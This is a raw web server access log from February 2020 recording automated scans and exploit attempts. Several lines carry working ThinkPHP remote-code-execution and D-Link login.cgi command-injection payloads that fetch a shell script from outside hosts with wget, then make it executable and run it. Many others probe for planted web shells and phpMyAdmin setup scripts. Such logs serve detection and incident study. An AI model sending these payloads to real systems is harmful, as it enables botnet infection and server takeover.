125.72.69.122 - - [04/Feb/2020:16:03:23 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
86.120.44.244 - - [04/Feb/2020:16:03:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.206.44.62 - - [04/Feb/2020:16:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
171.100.12.210 - - [04/Feb/2020:16:03:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:16:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.72.69.122 - - [04/Feb/2020:16:03:44 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
125.72.69.122 - - [04/Feb/2020:16:04:06 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
112.72.95.111 - - [04/Feb/2020:16:04:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.72.69.122 - - [04/Feb/2020:16:04:36 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
101.108.252.160 - - [04/Feb/2020:16:04:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:16:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.72.69.122 - - [04/Feb/2020:16:04:45 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:04:49 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:07 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:08 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:08 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:08 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:08 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:08 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:09 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:09 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:10 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:10 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:10 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:10 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:11 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:11 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:11 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:11 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:12 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:12 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:13 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:13 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:13 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:14 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:14 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:15 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:15 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:15 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:15 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:17 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:19 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:19 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:19 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:20 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:20 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:21 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:22 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:22 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:23 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:30 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [04/Feb/2020:16:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.72.69.122 - - [04/Feb/2020:16:05:51 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:54 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:54 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:58 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:59 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:59 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:05:59 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:01 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:01 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:01 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:02 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:02 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:02 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:03 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:03 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:03 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:04 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:05 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
220.116.93.35 - - [04/Feb/2020:16:06:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [04/Feb/2020:16:06:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.72.69.122 - - [04/Feb/2020:16:06:11 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:11 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
220.116.93.35 - - [04/Feb/2020:16:06:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [04/Feb/2020:16:06:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.72.69.122 - - [04/Feb/2020:16:06:38 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:39 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:39 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:39 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:39 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:40 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:40 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:40 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [04/Feb/2020:16:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.72.69.122 - - [04/Feb/2020:16:06:42 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:44 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:44 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:44 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:45 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:45 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:45 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:45 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:46 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:46 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:47 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:48 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:48 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:48 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:48 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:49 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:49 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:50 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:50 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:50 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:51 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
220.116.93.35 - - [04/Feb/2020:16:06:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.72.69.122 - - [04/Feb/2020:16:06:54 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:54 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:55 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:55 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:55 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:56 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:56 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:56 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:56 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:57 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:57 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:57 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:57 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:58 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:58 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
125.72.69.122 - - [04/Feb/2020:16:06:58 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
